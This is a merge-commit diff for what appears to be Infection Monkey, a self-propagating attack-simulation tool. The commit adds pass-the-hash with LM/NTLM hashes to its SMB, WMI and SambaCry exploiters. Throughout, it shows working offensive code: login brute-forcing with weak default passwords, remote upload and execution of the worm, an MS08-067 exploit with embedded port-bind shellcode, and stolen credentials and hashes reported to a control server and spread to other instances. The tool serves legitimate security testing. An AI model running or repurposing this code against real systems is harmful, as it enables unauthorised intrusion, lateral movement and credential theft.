Merge pull request #52 from guardicore/feature/pass-the-hash

Feature/pass the hash
This commit is contained in:
Daniel Goldberg 2017-09-28 19:27:12 +03:00 committed by GitHub
commit e8583a5bd8
9 changed files with 207 additions and 127 deletions

View File

@ -231,8 +231,24 @@ class Configuration(object):
""" """
return product(self.exploit_user_list, self.exploit_password_list) return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
:return:
"""
cred_list = []
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
cred_list.append(cred)
return cred_list
exploit_user_list = ['Administrator', 'root', 'user'] exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -65,6 +65,8 @@
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],

View File

@ -1,11 +1,10 @@
import itertools
import logging import logging
import posixpath
import re import re
import sys
import time import time
from io import BytesIO from io import BytesIO
from os import path from os import path
import itertools
import posixpath
import impacket.smbconnection import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS from impacket.nt_errors import STATUS_SUCCESS
@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host): if not self.is_vulnerable(host):
return False return False
@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0: if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True return True
else: else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr) LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter):
self.trigger_module(smb_client, share) self.trigger_module(smb_client, share)
smb_client.close() smb_client.close()
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds): def clean_share(self, ip, share, creds):
""" """
@ -161,15 +161,15 @@ class SambaCryExploiter(HostExploiter):
return writable_shares_creds_dict return writable_shares_creds_dict
def get_credentials_list(self): def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs() creds = self._config.get_exploit_user_password_or_hash_product()
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds]
# Add empty credentials for anonymous shares. # Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
for user, password in user_password_pairs: return creds
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client): def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
@ -197,11 +197,14 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
samba_version_parts[1] <= "13"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
samba_version_parts[1] <= "9"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
samba_version_parts[1] <= "3"):
is_vulnerable = True is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
@ -243,7 +246,8 @@ class SambaCryExploiter(HostExploiter):
""" """
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: with self.get_monkey_commandline_file(host, depth,
self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@ -325,14 +329,13 @@ class SambaCryExploiter(HostExploiter):
else: else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location): def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET() packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE packet['Command'] = SMB2_CREATE
@ -406,5 +409,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -16,12 +16,12 @@ try:
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2 from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3 from impacket.smb3 import SessionError as SessionError3
except ImportError, exc: except ImportError as exc:
print str(exc) print str(exc)
print 'Install the following library to make this script work' print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1) raise
LOG = getLogger(__name__) LOG = getLogger(__name__)
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False exploited = False
for user, password in user_password_pairs: for user, password, lm_hash, ntlm_hash in creds:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout) self._config.smb_download_timeout)
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password) host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password) host.learn_credentials(user, password)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password) report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
except Exception, exc: except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user" LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s and password '%s': (%s)", host, " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
user, password, exc) user, password, lm_hash, ntlm_hash, exc)
continue continue
if not exploited: if not exploited:
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT) rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, host.ip_addr, rpctransport.set_credentials(user, password, '',
"", "", None) lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc() scmr_rpc = rpctransport.get_dce_rpc()
try: try:
scmr_rpc.connect() scmr_rpc.connect()
except Exception, exc: except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s", LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc) host, exc)
return False return False

View File

@ -62,7 +62,7 @@ class WmiTools(object):
try: try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login) wmi.IID_IWbemLevel1Login)
except Exception, exc: except Exception as exc:
dcom.disconnect() dcom.disconnect()
if "rpc_s_access_denied" == exc.message: if "rpc_s_access_denied" == exc.message:
@ -156,7 +156,7 @@ class WmiTools(object):
query_record[key] = record[key]['value'] query_record[key] = record[key]['value']
query.append(query_record) query.append(query_record)
except DCERPCSessionError, exc: except DCERPCSessionError as exc:
if 1 == exc.error_code: if 1 == exc.error_code:
break break
@ -169,20 +169,21 @@ class WmiTools(object):
class SmbTools(object): class SmbTools(object):
@staticmethod @staticmethod
def copy_file(host, username, password, src_path, dst_path, timeout=60): def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path) src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb: if not smb:
return None return None
# skip guest users # skip guest users
if smb.isGuestSession() > 0: if smb.isGuestSession() > 0:
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges", LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
host, username, password) " LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try: try:
smb.logoff() smb.logoff()
@ -193,7 +194,7 @@ class SmbTools(object):
try: try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception, exc: except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s", LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc) host, exc)
return None return None
@ -210,7 +211,7 @@ class SmbTools(object):
try: try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception, exc: except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s", LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc) host, exc)
return None return None
@ -252,13 +253,13 @@ class SmbTools(object):
share_path = share['share_path'] share_path = share['share_path']
if not smb: if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb: if not smb:
return None return None
try: try:
tid = smb.connectTree(share_name) tid = smb.connectTree(share_name)
except Exception, exc: except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s", LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc) share_name, host, exc)
continue continue
@ -293,7 +294,7 @@ class SmbTools(object):
src_path, share_name, share_path, host) src_path, share_name, share_path, host)
break break
except Exception, exc: except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc) share_name, host, exc)
continue continue
@ -307,23 +308,23 @@ class SmbTools(object):
if not file_uploaded: if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting" LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username %s and password '%s'", " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password) host, username, password, lm_hash, ntlm_hash)
return None return None
return remote_full_path return remote_full_path
@staticmethod @staticmethod
def new_smb_connection(host, username, password, timeout=60): def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try: try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc: except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed," LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc) " trying port 139 (%s)", host, exc)
try: try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception, exc: except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)", LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc) host, exc)
return None, None return None, None
@ -334,10 +335,10 @@ class SmbTools(object):
# we know this should work because the WMI connection worked # we know this should work because the WMI connection worked
try: try:
smb.login(username, password, domain=host.ip_addr) smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception, exc: except Exception as exc:
LOG.debug("Error while loging into %r using user %s and password '%s': %s", LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, exc) host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect return None, dialect
smb.setTimeout(timeout) smb.setTimeout(timeout)
@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location) GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password): def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, telemetry_dict =\
'exploiter': exploiter.__class__.__name__, {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}) 'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path(): def get_binaries_dir_path():

View File

@ -9,32 +9,33 @@
import sys import sys
import time import time
import socket import socket
from enum import IntEnum
from logging import getLogger from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from enum import IntEnum
from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline from tools import build_monkey_commandline
from . import HostExploiter
try: try:
from impacket import smb from impacket import smb
from impacket import uuid from impacket import uuid
#from impacket.dcerpc import dcerpc # from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1 from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2 from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3 from impacket.smb3 import SessionError as SessionError3
except ImportError, exc: except ImportError as exc:
print str(exc) print str(exc)
print 'Install the following library to make this script work' print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1) sys.exit(1)
LOG = getLogger(__name__) LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444 # Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -62,7 +63,6 @@ SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target # Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@ -132,7 +132,7 @@ class SRVSVC_Exploit(object):
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce_packet = self._build_dce_packet() dce_packet = self._build_dce_packet()
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter):
smb_finger = SMBFinger() smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host): if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \ return host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys() host.os.get('version') in self._windows_versions.keys()
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Exploited into %r using MS08-067", host) LOG.debug("Exploited into %r using MS08-067", host)
exploited = True exploited = True
break break
except Exception, exc: except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc) LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue continue
@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path,
"Administrator",
password)
if remote_full_path: if remote_full_path:
break break
@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
build_monkey_commandline(host, depth - 1) build_monkey_commandline(host, depth - 1)
try: try:
sock.send("start %s\r\n" % (cmdline, )) sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, )) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception, exc: except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False return False
finally: finally:
try: try:
sock.close() sock.close()
except: except socket.error:
pass pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",

View File

@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() creds = self._config.get_exploit_user_password_or_hash_product()
for user, password in user_password_pairs: for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with password '%s'", LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, password) host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()
try: try:
wmi_connection.connect(host, wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
user,
password)
except AccessDeniedException: except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')", LOG.debug("Failed connecting to %r using WMI with "
host, user, password) "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue continue
except DCERPCException, exc: except DCERPCException as exc:
report_failed_login(self, host, user, password) report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')", LOG.debug("Failed connecting to %r using WMI with "
host, user, password) "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue continue
except socket.error, exc: except socket.error as exc:
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)", LOG.debug("Network error in WMI connection to %r with "
host, user, password, exc) "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
return False return False
except Exception, exc: except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s", LOG.debug("Unknown WMI connection error to %r with "
host, user, password, exc, traceback.format_exc()) "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False return False
host.learn_credentials(user, password) host.learn_credentials(user, password)
@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout) self._config.smb_download_timeout)
if not remote_full_path: if not remote_full_path:

View File

@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_username(user) ConfigService.creds_add_username(user)
if 'password' in creds[user]: if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password']) ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user]:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])

View File

@ -423,6 +423,32 @@ SCHEMA = {
"description": "The fullpath of the monkey log file on Windows" "description": "The fullpath of the monkey log file on Windows"
} }
} }
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
}
}
} }
} }
}, },
@ -818,20 +844,34 @@ class ConfigService:
return SCHEMA return SCHEMA
@staticmethod @staticmethod
def creds_add_username(username): def add_item_to_config_set(item_key, item_value):
mongo.db.config.update( mongo.db.config.update(
{'name': 'newconfig'}, {'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_user_list': username}}, {'$addToSet': {item_key: item_value}},
upsert=False upsert=False
) )
mongo.db.monkey.update(
{},
{'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
multi=True
)
@staticmethod
def creds_add_username(username):
ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
@staticmethod @staticmethod
def creds_add_password(password): def creds_add_password(password):
mongo.db.config.update( ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_password_list': password}}, @staticmethod
upsert=False def creds_add_lm_hash(lm_hash):
) ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
@staticmethod
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod @staticmethod
def update_config(config_json): def update_config(config_json):